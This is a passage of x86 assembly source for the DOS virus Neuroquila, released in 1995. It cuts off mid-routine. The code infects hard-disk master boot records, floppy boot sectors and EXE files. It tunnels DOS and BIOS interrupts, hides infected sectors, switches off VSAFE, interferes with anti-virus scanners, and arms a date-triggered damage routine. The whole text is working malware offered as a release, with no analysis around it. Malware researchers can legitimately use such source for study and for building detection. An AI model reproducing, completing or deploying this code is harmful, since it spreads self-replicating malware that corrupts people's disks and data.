;---------------------------------------------------------------------------; ; Title: Neuroquila by Neurobasher ; ; (c) 1995 Malware Technology ; ; Disclaimer: Malware Technology is not responsible for any problems ; ; caused due to assembly of this file. ; ; Thanks to everyone who contributed to this huge source. ; ; ; ; Release-Version ; ; ; ; If you have any comments send them to na264720@anon.penet.fi ; ;---------------------------------------------------------------------------; ; '***' == Bug report .286 code1 segment assume cs:code1 mov ax,4c00h int 21h code1 ends code2 segment assume cs:code2, ds: code2 newint21 equ 04E0h newint13 equ 04F0h switch_on equ 090h ; NOP switch_off equ 0C3h ; RET return equ 0C3h ; RET do_function equ 090h ; NOP boot_size = ( offset boot_over - offset boot_code ) memory_size = ( offset memory_top - offset start + 15 ) / 16 extra_size = 24h ; size added behind virus to host file marker = 0F2h ; infection marker ;---------------------------------------------------------------------------------------; ; Decryptor ; ;---------------------------------------------------------------------------------------; start: ; jmp vir_start db 0E9h dw offset vir_start - offset $ - 2 db 3Dh dup (?) ;---------------------------------------------------------------------------------------; ; virus body ; ;---------------------------------------------------------------------------------------; vir_start: cld sub di,di mov ah,marker int 13h ; Install check jb install ; was not installed yet ; Neuroquila allready resident installed: mov ah,62h int 21h ; Get PSP address mov es,bx ; Set ES to PSP segment sub di,di push bx dec bx ; => MCB segment mov ds,bx ; mov bx,0ffffh ; Memory-size for program db 0BBh progmem dw 0FFFFh cmp bh,50h ja not_fix_mem mov ax,word ptr ds:[3] sub ax,bx sub word ptr ds:[di+12h],ax mov ah,4ah int 21h ; Adjust memory block size not_fix_mem: pop bx ; PSP segment mov ds,bx add bx,10h ; => base segment for relocation cli ; mov sp,01F4h ; Initial SP db 0BCh init_sp dw 0h ; lea ax,[bx+0271h] ; Initial SS db 8Dh,87h init_ss dw 0 mov ss,ax ; add bx,word ptr 0 db 081h,0C3h init_cs dw 0h ; Initial CS sti pushf push bx ; push word ptr 0 ; Initial IP db 68h init_ip dw 0h sub bx,bx xor cx,cx mov dx,cx xor si,si mov bp,si virint24: xor ax,ax iret ; jump to original program install: call flex1 ; flexible entry point flex1: pop si ; get offset of flex1 mov cx,offset my_size ; virus size sub si,offset flex1 ; calculate offset of virus begin push cs pop ds ; DS := CS ; push word ptr 07C00h db 68h,0,07ch pop es ; ES := 07C00h push es ; push offset start_over db 68h dw offset start_over rep movsb ; Copy virus to segment 07C00h retf ; start over into new segment start_over: ; push byte ptr ( offset installed ) db 6Ah db offset installed mov ah,52h ; Get list of lists int 21h ; (only the segment value is used) mov bx,21h*4 mov ds,cx ; DS := 0 assume ds:nothing mov word ptr cs:tun_stop_seg,es ; save segment of list of lists assume ds:code2 ; Get old and set new int 01h vector mov ax,offset newint01 xchg ax,word ptr ds:[bx-(21h*4-1*4)] push ax mov ax,cs xchg ax,word ptr ds:[bx-(21h*4-1*4)+2] push ax ; Enable tracing mode pushf pop ax or ah,1 push ax popf ; Call Int 21h for tracing mov ah,4dh pushf call dword ptr ds:[bx] assume ds:nothing ; Save tunneled int 21h value mov ax,tunneled_ofs mov tun21_ofs,ax mov ax,tunneled_seg mov tun21_seg,ax ; Tunnel Int 13h now mov tun_stop_seg,0f000h ; set system segment to 0F000h assume ds:code2 mov ah,0 cwd pushf call dword ptr ds:[bx-(21h*4-13h*4)] ; Restore old int 01 vector pop word ptr ds:[bx-(21h*4-1*4)+2] pop word ptr ds:[bx-(21h*4-1*4)] ; Install int 13h and 21h call make_bios_progs mov word ptr ds:[di-14h],offset vir_int21 mov word ptr ds:[di-4],offset virus_13 mov ax,newint13 mov dx,ax mov bh,13h xchg bx,ax int 2Fh ; set actual and permanent int 13h vector to newint13 assume ds:nothing lds di,dword ptr cs:tun21_ofs ; for the case DOS-version is lower than 5 ; load the address of tunneled int 21h here assume ds:code2 call patch_int21 infect_hdd: pusha push cs pop ds push cs pop es cmp dl,80h ; booting from harddisk ? jz booted_hdd ; yes ; set new activation date to 3 months after now (ignoring days) mov ah,04h int 1ah ; Get RTC-date mov al,dh ; month add al,3 ; 3 months later daa ; hex -> bcd after addition cmp al,12h jbe month_ok sub al,12h ; switch over to next year inc cx month_ok: mov activ_month,al ; 1..12 (BCD) mov activ_year,cl ; this year+[0,1] booted_hdd: ; read MasterBootRecord mov ax,201h mov bx,offset disk_buff mov cx,1 mov dx,80h call call_int13 cmp byte ptr ds:[bx+9],08Eh ; infected ? jz partt_infected ; yes ; search for boot-partition mov cl,4 lea si,[bx+01AEh] next_partition: add si,10h cmp byte ptr [si],dl loopnz next_partition jcxz partt_infected ; No bootable partition ; Test if it is a DOS-Partition mov al,byte ptr [si+4] cmp al,1 ; DOS 12-bit ? jz dos_12bit_fat ; Yes cmp al,4 jb partt_infected ; type 2,3 are not DOS cmp al,6 ; types 7,8,... are not DOS ja partt_infected dos_12bit_fat: ; Booting Partition is DOS mov ax,word ptr [si+8] cmp al,11h ; at least 17 sectors per track ? jb partt_infected ; no ; infect the fixed disk 0 call encrypt_sector ; encrypt the old partition table mov cl,7 ; Sector 7 call write_1_sect ; write it to Track 0 Side 0 Sector 7 inc cx ; next sector (Track 0 Side 0 Sector 8) mov track_head,cx ; save as position of 2nd virus-part mov side_drive,dx push bx xor bx,bx mov ax,0309h ; write 9 sectors (1200h Byte) call call_int13 ; this virus pop bx mov si,offset boot_code mov di,bx mov cl,boot_size rep movsb ; copy MBR-code mov al,2 mov cx,200h - 2 - boot_size ; Fill up to 1FEh rep stosb mov cl,1 call write_1_sect ; write the new MBR ; encrypt boot sector on Track 0 Side 1 Secctor 1 of fixed disk 0 mov ax,0201h mov dh,1 call call_int13 ; read Track 0 Side 1 Sector 1 call encrypt_sector ; encode it call write_1_sect ; write it back partt_infected: popa ret ;---------------------------------------------------------------------------------------; ; Tunneler code ; ;---------------------------------------------------------------------------------------; ;assume ds:code2 newint01: pusha push ds mov bp,sp lds si,dword ptr [bp+12h] ; load address of break call int01patches cmp ax,0cfcch ; INT3; IRET ; QEMM Int 13h trap jz tun_success cmp ax,08063h jnz no_special_tunneling cmp word ptr [si+4],1172h jnz no_special_tunneling cmp word ptr [si+0eh],0CFE4h jz tun_success cmp ax,0ff2eh ; *** AX is allready 8063h jnz no_special_tunneling ; never comes to this point ; but maybe it's for smartdrv but not for 5.0 cmp word ptr [si+9],09AFAh jz tun_success ; end of unused code no_special_tunneling: mov ax,ds ; cmp ax,0f000h db 3Dh tun_stop_seg dw 0F000h ; segment for tunnel success jnz tun_exit tun_success: assume ds:nothing mov ax,ds mov tunneled_seg,ax mov ax,word ptr [bp+12h] mov tunneled_ofs,ax and byte ptr [bp+17h],0FEh ; switch tracing mode off assume ds:code2 tun_exit: pop ds popa iret ;---------------------------------------------------------------------------------------; ; Boot code ; ; only 1Eh Byte in the MBR or bootsector !!! ; ;---------------------------------------------------------------------------------------; boot_code: cli xor ax,ax mov ss,ax ; SS := 0 mov sp,7c00h sti mov es,sp ; ES := 7C00h push es ; push offset boot_over db 68h dw offset boot_over xchg bx,ax ; BX := 0 ; read second part of virus mov ax,209h ; mov cx,8 db 0B9h track_head dw 8 ; track and head of 2nd virus-part ; mov dx,80h db 0BAh side_drive dw 80h ; side and drive of 2nd virus-part int 13h jb $ retf ; start over to second part ; End of code stored in MBR or Bootsector boot_over: cld call make_bios_progs ; install the two programs into the BIOS-area push es push cs pop es ; set new int 13h and save old mov ax,newint13 mov si,21h*4 mov di,offset tunneled_ofs xchg ax,word ptr [si-(21h*4-13h*4)] stosw xor ax,ax xchg ax,word ptr [si-(21h*4-13h*4)+2] stosw ; save int 21h vector movsw movsw ; load old boot-code pop es mov ax,201h mov bx,sp dec cx int 13h ; read old bootsector or MBR or dl,dl ; is it a diskette ? jz booting_disk ; yes call encrypt_sector ; from HDD decrypt old boot-code booting_disk: ; Patch some code in the original partition table or boot-sector push es push bx mov cl,0ffh boot_patch_loop: inc bx cmp word ptr [bx],73C2h jnz @@108 mov byte ptr [bx+1],0EBh @@108: cmp word ptr [bx],75A7h jnz @@109 mov byte ptr [bx+2],ah @@109: loop boot_patch_loop ; infect the HDD now call infect_hdd ; Setup damage function inc ax mov damage_delay,ax mov ah,4 int 1ah ; Hole RTC Datum ; cmp cl,90h dw 0F980h activ_year db 90h ; Year ja sw_damage_on jb sw_damage_off ; cmp dh,4 dw 0FE80h activ_month db 4 ; Month jb sw_damage_off sw_damage_on: ; Switch on damage function if ; ( actual year > activ_year ) or ; ( ( actual year = activ_year ) and ( actual month >= activ_month ) ) mov byte ptr damage_switch,switch_on sw_damage_off: ; start over to original boot-code retf ;---------------------------------------------------------------------------------------; ; Installs to programs in the BIOS data area ; ; At 0:4F0 JMP FAR virus_seg:virint13 ; ; At 0:4E0 JMP FAR virus_seg:temp_int21 ; ;---------------------------------------------------------------------------------------; assume ds:nothing make_bios_progs: mov byte ptr damage_switch,switch_off xor ax,ax mov ds,ax ; DS := 0 mov es,ax ; ES := 0 mov v_int21_running,al mov virus_moved_from_fixed_segment,ax mov di,newint13 ; 0:newint13 is the new int 13h entry point mov al,0EAh ; put a JMP FAR there stosb mov byte ptr [di-(newint13-newint21+1)],al ; also put one at 0:newint21 mov ax,offset virint13 stosw mov word ptr [di-(newint13-newint21+2)],offset temp_int21 mov ax,cs stosw mov [di-(newint13-newint21+2)],ax ; JMP FAR virint13 at 0:newint13 and ; JMP FAR temp_int21 at 0:newint21 ret ; bacck to caller ;---------------------------------------------------------------------------------------; ; The virus int 13h ; ; ; ;---------------------------------------------------------------------------------------; virint13: ; Setup int 21h and 13h if the time comes. pusha push ds push es ; push byte ptr 0 db 06Ah,0 pop ds ; DS := 0 cmp byte ptr ds:[21h*4+3],08h ; it's allready time to hook int 21h ja DOS_not_loaded_yet ; no mov word ptr ds:[newint13+1],offset virus_13 ; set address of patch code ; in the JMP FAR lds di,dword ptr ds:[21h*4] call patch_int21 ; Set new int 21h DOS_not_loaded_yet: pop es pop ds popa virus_13: call damage_switch ; do damage function inc int13_counter ; Test if the virus does this call cmp sp,1300h jb not_from_virus cmp sp,1600h ja not_from_virus cmp ah,marker jz install_check not_from_virus: cmp ah,2 ; read from disk/hdd ? jz int13_read_write ; yes cmp ah,3 ; write to disk/hdd ? jnz leave_int13 ; no int13_read_write: cmp dx,2 ; Diskdrive A or B ? jb infect_disk ; Yes cmp dl,80h ; HDD 0 jnz leave_int13 ; No cmp cx,1 ; track 0 sector 1 ? jnz hdd_access ; No cmp dh,1 ; head 0 or 1 ? ja leave_int13 ; no boot_infected: push cx dec al jz only_one_sector ; only one sector to read ; read the other sectors push ax push bx add bh,2 inc cx call call_int13 dec cx pop bx pop ax only_one_sector: ; read boot or MBR mov al,1 cmp dl,1 ; discette ? ja hdd_read_write ; no mov cx,5001h ; read orig. boot from extra track call call_int13 jmp disk_done hdd_read_write: or dh,dh jnz hdd_bootsector ; read boot directly mov cl,7 ; read sector 7 instead of partt hdd_bootsector: call crypted_int13 disk_done: pop cx int13_ok2: retf 2 ; end the int 13 leave_int13: jmp dword ptr tunneled_ofs hdd_access: or dh,dh ; access to side 0 ? jnz leave_int13 ; no push ax mov ax,cs cmp ah,7ch ; I am running at segment 7cxxh ? pop ax jz leave_int13 ; yes, then do nothing cmp cx,11h ; access to sector 12 or above ? ja leave_int13 ; yes cmp cl,6 ; access to sector 5 or below jb leave_int13 ; yes no_int13_error: mov ah,0 ; just say no error install_check: clc int13_ok1: jmp int13_ok2 infect_disk: cmp cx,1 ; track 0 sector 1 ? jnz leave_int13 ; No push ax call call_int13 ; read or write it jnb disk_ok ; no error ; there was an error inc sp inc sp stc jmp int13_ok1 disk_ok: pop ax cmp byte ptr es:[bx+01FDh],marker ; read or written boot infeted ? jz boot_infected ; yes pusha push ds push es push es pop ds push cs pop es ; copy old sector to disk_buff mov si,bx mov di,offset disk_buff mov cx,100h cmp v_int21_running,cl ; virus int 21h just running ? jnz not_bootable ; yes rep movsw ; copy now cmp byte ptr [bx],0EBh ; jmp short on begin ? jnz not_bootable ; no mov ax,word ptr [bx+13h] ; sectors on disk mov di,offset disk_35 ; offset of drive descriptor table cmp ax,0b40h ; 3.5" HD disk ? jz disk_1_44_MB ; yes mov di,offset disk_525 ; offset of drive descriptor table cmp ax,0960h ; 5.25" HD disk ? not_bootable: jnz no_std_disk ; no disk_1_44_MB: push cs pop ds mov ax,0351Eh ; get int 1Eh int 21h push bx push es mov ah,25h ; set new table address push ax push dx mov dx,di int 21h pop dx push cs pop es ; generate a table with 10 sectors ; for Track 80 Side 0 with 512 byte-sectors mov bp,50h ; Track 80 mov cl,0ah ; 10 Sectors mov di,offset disk_table ; Address for buffer mov bx,di sector_loop: mov ax,bp stosw mov al,cl neg al add al,0bh mov ah,2 stosw loop sector_loop ; format the extra track mov ax,050Ah mov cx,5001h call call_int13 jb disk_infection_failed ; write first sector mov bx,offset disk_buff call write_1_sect jb disk_infection_failed ; inc cx ; next sector ; write virus in the other 9 sectors mov ax,0309h xor bx,bx call call_int13 jb disk_infection_failed assume ds:code2 ; Save posititon on disk mov track_head,cx mov side_drive,bx ; Get position the initial jump of the boot-sector goes to xchg bx,ax mov bx,offset disk_buff mov al,byte ptr [bx+1] xchg di,ax lea di,[bx+di+2] ; di := jump destination ; copy boot_code to this position mov si,offset boot_code mov cx,boot_size rep movsb ; write it to boot sector of disk mov byte ptr [bx+1FDh],marker ; mark infected mov cl,1 call write_1_sect ; write one sector disk_infection_failed: pop ax pop ds pop dx int 21h no_std_disk: pop es pop ds popa jmp no_int13_error ;---------------------------------------------------------------------------------------; ; Set new int 21h by patching it into the original int 21h ; ;---------------------------------------------------------------------------------------; patch_int21: mov ah,30h int 21h ; Get DOS version cmp al,5 jb no_dos5 ; lower than 5.0 mov ah,52h ; Get list of lists int 21h push es pop ds ; DS := segment of list of lists mov di,109eh ; DOS 5+ int 21h entry if loaded into HMA no_dos5: assume ds:nothing mov cx,1 ; CX := 1 mov tun21_ofs,di ; set tunneled int 21h vector mov tun21_seg,ds mov ax,word ptr [di] ; load 2 bytes from there cmp al,90h ; NOP ? jz int21_nop ; DOS int entry cmp ax,0EB03h ; Useless Short-Jump ? jnz int21_no_jmp_near ; test for another DOS-Entry int21_nop: mov di,word ptr [di+8] ; load address where the address is stored les di,dword ptr [di] ; load int address from there jmp patch_done int21_no_jmp_near: cmp ax,03A2Eh ; CS: CMP ? jnz int21_no_cmp inc cx ; 2 NOPs to add push ds pop es jmp patch_done int21_no_cmp: cmp al,0EAh ; JMP FAR ? jnz int21_no_patch les di,dword ptr [di+1] ; load address it jumps to dec cx ; no NOP to add patch_done: ; Insert a call far at routine called mov al,9Ah ; CALL FAR cld stosb mov ax,newint21 stosw xor ax,ax stosw mov al,90h rep stosb int21_no_patch: ret ;---------------------------------------------------------------------------------------; ; Memory allocation routine ; ;---------------------------------------------------------------------------------------; ;assume ds:nothing alloc_mem: mov ax,4300h int 2fh ; XMS driver installed ? cmp al,80h jnz no_xms_driver mov ax,4310h ; Get driver entry point into ES:BX int 2fh mov word ptr xms_addr,bx mov word ptr xms_addr+2,es mov ah,10h ; Alloccate UMB mov dx,di ; size in paragraphs call xms_addr ; Call Memory-Manager dec ax ; successfull allocated jnz no_xms_driver ; No mov bp,bx ; allocated segment ret no_xms_driver: ; try in the UMB's via DOS and in conventional memory then mov ax,5800h int 21h ; Get allocation strategy push ax mov ax,5801h push ax mov bx,0080h int 21h ; Set allocation strategy first fit, try high ; then low mov ax,5802h int 21h ; get UMB link sate mov ah,0 push ax mov ax,5803h push ax mov bl,1 int 21h ; set UMB link state ON mov ah,48h mov bx,di int 21h ; Allocate BX paragraphs of mem xchg bp,ax ; save allocated segment to BP pop ax pop bx int 21h ; restore UMB link state pop ax pop bx int 21h ; restore allocation strategy ret ;---------------------------------------------------------------------------------------; ; The virus' int 21h ; ;---------------------------------------------------------------------------------------; ;assume ds:nothing temp_int21: ; jmp near allready_moved db 0E9h virus_moved_from_fixed_segment dw (offset allready_moved - offset $) - 2 ; coming to this point after a patch is done to virus_moved_from_fixed_segment mov byte ptr virus_moved_from_fixed_segment,( offset @@65 - offset virus_moved_from_fixed_segment) - 2 pusha call patch_new_intcode mov bx,dx mov cx,80h cmp bh,0FFh jz try_to_move_virus cmp byte ptr [bx+1],3Ah ; ':' ; driveletter given ? jnz try_to_move_virus ; no next1_filename_char: cmp byte ptr [bx],2Eh ; '.' ? jnz no_av_proggi cmp word ptr [bx-2],504Fh ; 'PO.' ? jz its_av_proggi cmp word ptr [bx-2],4154h ; 'TA.' ? jz its_av_proggi cmp word ptr [bx-5],4351h ; 'QC???.' ? ; Wasn't it a program from AVTK ? jnz no_av_proggi its_av_proggi: inc byte ptr [bx] ; '.' -> '/' mov ax,0920h xor bx,bx ; screen page 0, black on black mov cl,0F0h ; write 240 spaces int 10h xchg bx,ax ; virus not moved jmp do_not_move no_av_proggi: inc bx ; next char loop next1_filename_char try_to_move_virus: push ds push es mov ah,52h int 21h ; get list of lists mov ds,word ptr es:[bx-2] ; segment of first MCB mov si,10h cmp byte ptr [si-0ch],80h ; block-size > 80FFh paragraphs ? mov al,0 ja DOS2_not_loaded_yet ; yes mov di,memory_size ; size of memory block needed call alloc_mem ; (in paragraphs) mov dx,bp cmp dh,0A0h jb in_low_mem dec bp mov ds,bp mov ax,di mov word ptr [si-0fh],8 ; mark as system MCB jmp move_virus in_low_mem: push ds cmp byte ptr [si],46h ; FILES= ? jz next_subMCB ; yes cmp byte ptr [si],44h ; DEVICE= ? jnz no_subMCB ; no next_subMCB: cmp byte ptr [si],4Dh ; next normal MCB ? jz last_subMCB ; yes cmp byte ptr [si],54h ; INSTALL= ? jz last_subMCB ; yes mov ax,word ptr [si+1] ; MCB owner dec ax mov es,ax add ax,word ptr [si+3] ; + size of memory block mov ds,ax jmp next_subMCB ; test again last_subMCB: lea ax,[bp+di] sub ax,es:[si-0fh] mov es:[si-0dh],ax no_subMCB: pop ds ; segment of first MCB mov ax,ds sub bp,ax ; ofs of allocated seg to first MCB in paras xchg bp,ax add ax,memory_size - 1 ; fix first MCBs len to fit virus in move_virus: mov virus_segment,ds push cs pop ds assume ds:code2 mov virusMCB_size,ax mov es,dx mov al,(offset allready_moved - offset virus_moved_from_fixed_segment) - 2 mov byte ptr virus_moved_from_fixed_segment,al mov cx,offset memory_top xor si,si xor di,di cld rep movsb mov ds,cx mov word ptr ds:[newint21+3],es mov word ptr ds:[newint13+3],es DOS2_not_loaded_yet: pop es pop ds assume ds:nothing do_not_move: mov byte ptr virus_moved_from_fixed_segment,al popa @@65: retf allready_moved: ; patch addresses in the two programs at 0:4E0 and 0:4F0 push ds ; push word ptr 0C801h db 68h virus_segment dw 0C801h pop ds ; mov word ptr [3],014Eh db 0C7h,06h dw 3 virusMCB_size dw 014Eh pop ds vir_int21: ;assume ds:nothing ; JMP SHORT db 0EBh v_int21_running db offset short_int21 - offset $ - 1 ; save all registers on Int 21h call mov save_ds,DS push cs pop ds assume ds:code2 mov save_bx,bx mov bx,offset save_bx mov word ptr [bx+(offset save_ax-offset save_bx)],ax mov word ptr [bx+(offset save_cx-offset save_bx)],cx mov word ptr [bx+(offset save_dx-offset save_bx)],dx mov word ptr [bx+(offset save_si-offset save_bx)],si mov word ptr [bx+(offset save_di-offset save_bx)],di mov word ptr [bx+(offset save_bp-offset save_bx)],bp mov word ptr [bx+(offset save_es-offset save_bx)],es mov byte ptr [bx+(offset v_int21_running-offset save_bx)],offset short_int21-offset v_int21_running - 1 inc int21_counter cld call damage_switch mov al,ah push ds mov cx,0eh pop es mov di,offset dos_functions repnz scasb ; called function hooked by virus ? jnz not_hooking shl cx,1 ; *2 add bx,cx ; pushh address on stack push offset not_hooking ; return address push word ptr [bx+(offset dos_procs - offset save_bx)] ; addr of responding virus function ; Init values for int reg_restore: ; mov bx, db 0BBh save_bx dw ? ; mov bp, db 0BDh save_bp dw ? ; mov ax, db 0B8h save_ax dw ? ; mov si, db 0BEh save_si dw ? ; mov cx, db 0B9h save_cx dw ? ; mov di, db 0BFh save_di dw ? ; mov dx, db 0BAh save_dx dw ? ; push word db 68h save_ds dw ? pop ds ; push word db 68h save_es dw ? pop es ret not_hooking: call restreg_and_prep_leaving short_int21: cmp ah,6ch ja set_zflag_and_leave_21 ; all functions above 6ch produce a Zero-Flag retf ; jump to set_zflag_and_leave_21: add sp,4 xor al,al retf 2 restreg_and_prep_leaving: call reg_restore assume ds:nothing prepare_leave_int21: mov byte ptr v_int21_running,0 ret dos_functions db 4bh,4ch,11h,12h,4eh,4fh,42h,3fh,3eh,3dh,32h,44h,25h,40h dos_procs dw offset dosf_40 ; write to handle-file dw offset dosf_25 ; set int dw offset dosf_44 ; IOCTL dw offset dosf_32 ; get DPB dw offset dosf_3d ; open handle-file dw offset dosf_3e ; close handle-file dw offset dosf_3f ; read from handle-file dw offset dosf_42 ; seek in handle file dw offset dosf_4f ; FindNext dw offset dosf_4e ; FindFirst dw offset dosf_11_12 ; FindNext FCB dw offset dosf_11_12 ; FindFirst FCB dw offset dosf_4c ; Terminate program dw offset dosf_4b ; Execute program tbav_cmdline db ' CO ',0 win_cmdline db '/D:F ',0 dosf_4b: cmp al,0 ; Execute ? jz dosf_3d cmp al,1 ; Load ? jnz open_4b_error ; no something else mov ax,3d02h ; open file being loaded for reading call do_int21 ; and writing jc open_4b_error xchg bx,ax call dosf_40 ; disinfect the file mov ah,3eh ; close file int 21h open_4b_error: ret dosf_3d: ; DS:DX points to ASCIIZ-Filename call dosf_4c push ax ; Save ax mov si,dx ; DS:SI now points to filename mov di,offset filename push cs pop es ; ES := CS store_filename: lodsb ; load one char and store stosb or al,al ; until last char jnz store_filename push cs pop ds ; DS := CS pop cx ; function number passed in AX cmp ch,3Dh ; open file ? jnz not_open_file ; next test on_open_file: ret ; Coming to this code byte patching on_open_file cmp word ptr [di-0dh],04D53h ; 'SM' ? jnz @@118 ; No cmp word ptr [di-07h],04B48h ; 'HK' ? jz @@119 ; yes @@118: cmp word ptr [di-0ch],04843h ; 'CH' ? jnz open_4b_error ; No cmp word ptr [di-0ah],04C4Bh ; 'KL' ? jnz open_4b_error ; no @@119: call restreg_and_prep_leaving add sp,6 ; remove cs/ip/flags from stack mov ax,2 ; error-code 2 (file not found) stc retf 2 assume ds:code2 not_open_file: cmp ch,4bh jnz chk4win mov byte ptr on_open_file,return cmp word ptr [di-07h],5641h jnz chk4win mov byte ptr on_open_file,do_function ;assume ds:nothing chk4win: mov si,offset win_cmdline cmp word ptr [di-08h],4957h ; 'WI' ? jnz chk4tbscan cmp byte ptr [di-06h],4eh ; 'WIN' ? jz add_extra_param ; Pass arguments to Windows chk4tbscan: mov si,offset tbav_cmdline cmp word ptr [di-0ah],5342h ; 'BS' ? jnz last2_param_char cmp word ptr [di-07h],4E41h ; 'BS?AN' ? jnz last2_param_char ; Pass arguments to TBSCAN add_extra_param: ; pass arguments from ds:si to current commandline mov di,offset disk_buff mov bx,di mov byte ptr [di],0FFh inc di next1_param_char: lodsb or al,al jz last1_param_char stosb inc byte ptr [bx] jmp next1_param_char last1_param_char: ; Concate ParamStr to what it passes to special programs mov si,save_bx mov ds,save_es mov ax,cs xchg ax,word ptr [si+4] ; Segment of ParamString push ax mov ax,bx xchg ax,word ptr [si+2] ; Offset of ParamStr xchg si,ax pop ds ; => DS:SI ParamString assume ds:nothing inc si next2_param_char: lodsb stosb inc word ptr cs:[bx] ; increase size of param-string by 1 cmp al,0dh jnz next2_param_char ; last2_param_char: push cs pop ds assume ds:code2 mov byte ptr dosf_11_12,switch_on ; do infection on FCB file-search mov ah,2Fh int 21h ; Get DTA push bx push es mov ah,1ah mov dx,offset vir_dta int 21h ; Set DTA mov ax,3524h int 21h ; Get int 24h vector push bx ; and save push es mov ah,25h ; set new Int 24h to cs:virint24 push ax mov dx,offset virint24 int 21h mov bl,0 call switch_vsafe ; switch off VSAFE mov ah,4eh mov cx,27h ; all files call filename_int21 ; find the file jc floppy_not_OK ; not found mov si,offset my_size xor di,di cmp byte ptr [si+4],2 ; Drive to access ja not_floppy push dx mov ch,4 mov dx,3F5h ; floppy disk status port mov al,4 ; sense drive status command out dx,al loop $ ; wait for floppy to respond mov ch,4 out dx,al ; try it again loop $ ; wait again in al,dx ; get status test al,40h ; floppy OK ? pop dx jnz floppy_not_OK ; No not_floppy: call @@131 ; infect the file floppy_not_OK: pop ax pop ds pop dx int 21h mov ah,1ah ; restore DTA pop ds pop dx int 21h ;---------------------------------------------------------------------------------------; ; VSafe away-functions ; ;---------------------------------------------------------------------------------------; ; Bitfields for VSAFE/VWATCH parameter flags (BL): ; Bit(s) Description (Table 0429) ; 7 Protect executable files ; 6 Protect FD boot sector ; 5 Protect HD boot sector ; 4 Boot sector viruses ; 3 Check executable files ; 2 General write protect ; 1 Resident ; 0 HD Low level format restore_vsafe: ; mov bl,0 db 0B3h old_vsafe_state db ? assume ds:nothing switch_vsafe: pusha mov ax,0FA02h mov dx,5945h int 16h ; change VWATCH / VSAFE state mov old_vsafe_state,cl ; safe old state popa ret1: ret ;---------------------------------------------------------------------------------------; ; Virus' int 21 (continued) ; ;---------------------------------------------------------------------------------------; @@131: cmp word ptr [si+20h],di ; Higher Word of file size 0 ? jnz file_big_enough ; No, file at least 10000h Byte long cmp word ptr [si+1eh],2711h ; File at least 10000(dez) Byte long ? jb ret1 ; No file_big_enough: mov ah,2ah int 21h ; Get date mov ax,[si+1ch] ; Filedate shr ax,1 ; DIV 2 sub cl,0bch ; ( Year - 1980 ) and 0ffh cmp ah,cl ; fits to filedate ? jnz date_check_failed ; no shr ax,4 ; DIV 16 and al,0Fh ; only 4 lower bits cmp al,dh ; fits to filedate ? jz ret1 date_check_failed: mov al,[si+19h] ; file attributes and al,7 jz file_attribs_allready_ok mov ax,4301h ; set new file attributes xor cx,cx call filename_int21 file_attribs_allready_ok: mov ax,3d02h ; open file for read/write call filename_int21 jc @@137 xchg bx,ax ; pass handle into bx mov ax,5700h ; get files time/date int 21h push cx ; save them push dx mov ah,3fh ; read first 19h byte of file call cx25_int21 jb file_is_infected cmp byte ptr [si+18h],40h ; offset of relocation table is 40h ? jz file_is_infected ; yes, seems to be windows-exe mov ax,[si] add al,ah ; sum of first two bytes same as on exe-files ? cmp al,0A7h jnz file_is_infected ; no, can not be EXE-File mov ax,[si+4] ; count of 512-byte-pages in the file dec ax ; - 1 xor dx,dx mov bp,200h mul bp ; * 512 add ax,[si+2] ; + byte in last page adc dx,di ; => imagesize in byte cmp [si+1eh],ax ; compare with filesize jnz file_is_infected cmp [si+20h],dx jnz file_is_infected ; mov al,2 call seek ; seek to end of file call chk4infection ; some more infection checking jz file_is_infected ; allreay infected call dosf_4c call infect_file ; infect it now file_is_infected: mov ax,5701h pop dx pop cx call do_int21 ; restore files date/time mov ah,3eh ; close file int 21h @@137: mov ax,4301h xor cx,cx mov cl,[si+19h] cmp cl,20h jz not_reset_attribs filename_int21: mov dx,offset filename jmp do_int21 ; restore files attributes not_reset_attribs: ret assume ds:code2 infect_file: mov ax,[si+0eh] ; Initial SS mov init_ss,ax mov ax,[si+10h] ; Initial SP mov init_sp,ax mov ax,[si+14h] ; Initial IP mov init_ip,ax mov ax,[si+16h] ; Initial CS mov init_cs,ax mov ax,[si+0Ch] ; max. count of paragraphs above cmp ah,0FFh jz not_update_maxparas mov ax,[si+04h] ; Size of file in pages cwd mov cx,20h mul cx ; => * 512 / 16 sub ax,[si+08h] ; Size of Header add ax,[si+0Ch] ; max. count of paragraphs above ; add ax,10h db 05h @@155 dw 10h ; + 10h not_update_maxparas: mov progmem,ax mov ah,0 int 1ah ; Get Timer push dx ; saver lower part of timer value xchg dx,ax mov ah,marker ; calculate encryption value for sub ah,al ; saved header neg ax mov word ptr [si+offset head_encr_val- offset head_buff],ax pop ax ; timer value (low) mov cl,ah and ax,001Fh ; and 01Fh shl ax,4 ; * 16 mov @@144,ax ; offset of decryptor ??? mov dx,[si+offset l_org_fsize-offset head_buff] and dx,0fh add ax,dx mov @@145,ax and cl,1Fh mov @@146,cx mov ax,[si+offset l_org_fsize-offset head_buff] add ax,offset my_size + extra_size mov dx,ax or al,1fh sub ax,dx mov @@147,ax push ax ; push 0BE00 db 68h dw 0BE00h pop es ; ES := 0BE00h xor di,di cmp word ptr es:[di],0720h ; woops test if there is space in the Video-RAM jz do_mutate ; yeah seems to be free, so use for engine pop ax write_failure: ret do_mutate: call mutate mov ah,40h mov cx,offset my_size call cwd_int21 ; write the virus cmp ax,cx ; all written ? pop cx mov word ptr ds:[di],0720h ; make sure we know the video buf is OK push cs pop ds jnz write_failure ; not all byte written mov dh,13h call write_to_file mov cx,extra_size mov dx,offset my_size call endecrypt_head call write_to_file call endecrypt_head call seek_to_begin mov ax,[si+1eh] mov dx,[si+20h] push ax push dx add ax,offset my_size+extra_size adc dx,di ; add ax,17h db 05h @@147 dw 0017h adc dx,di div bp inc ax mov word ptr [si+4],ax ; adjust header pages mov word ptr [si+2],dx ; adjust byte in last page pop dx pop ax div @@155 sub ax,[si+08h] ; header size push ax ; mov cx,60h db 0B9h @@144 dw 0060h shr cx,4 sub ax,cx mov word ptr [si+16h],ax ; new initial CS pop ax dec ax ; add ax,4 db 05h @@146 dw 4 mov word ptr [si+0eh],ax ; new initial IP add dx,@@144 mov [si+14h],dx mov ax,1600h mov dx,@@146 shl dx,4 sub ax,dx mov word ptr [si+10h],ax ; new initial SP add word ptr [si+0ah],161h ; adjust min params by virus_params mov ax,[si+0ah] ; get new min params cmp word ptr [si+0ch],ax ; max > min ? ja write_25byte_to_file ; yes mov word ptr [si+0ch],ax ; no then max:=min write_25byte_to_file: mov ah,40h cx25_int21: mov cx,19h mov dx,si do2_int21: jmp do_int21 seek_to_begin: mov al,0 seek: mov ah,42h ; Seek xor cx,cx ; Higher position value is 0 cwd_int21: cwd jmp do2_int21 ; call int 21h dosf_4e: cld push cs pop 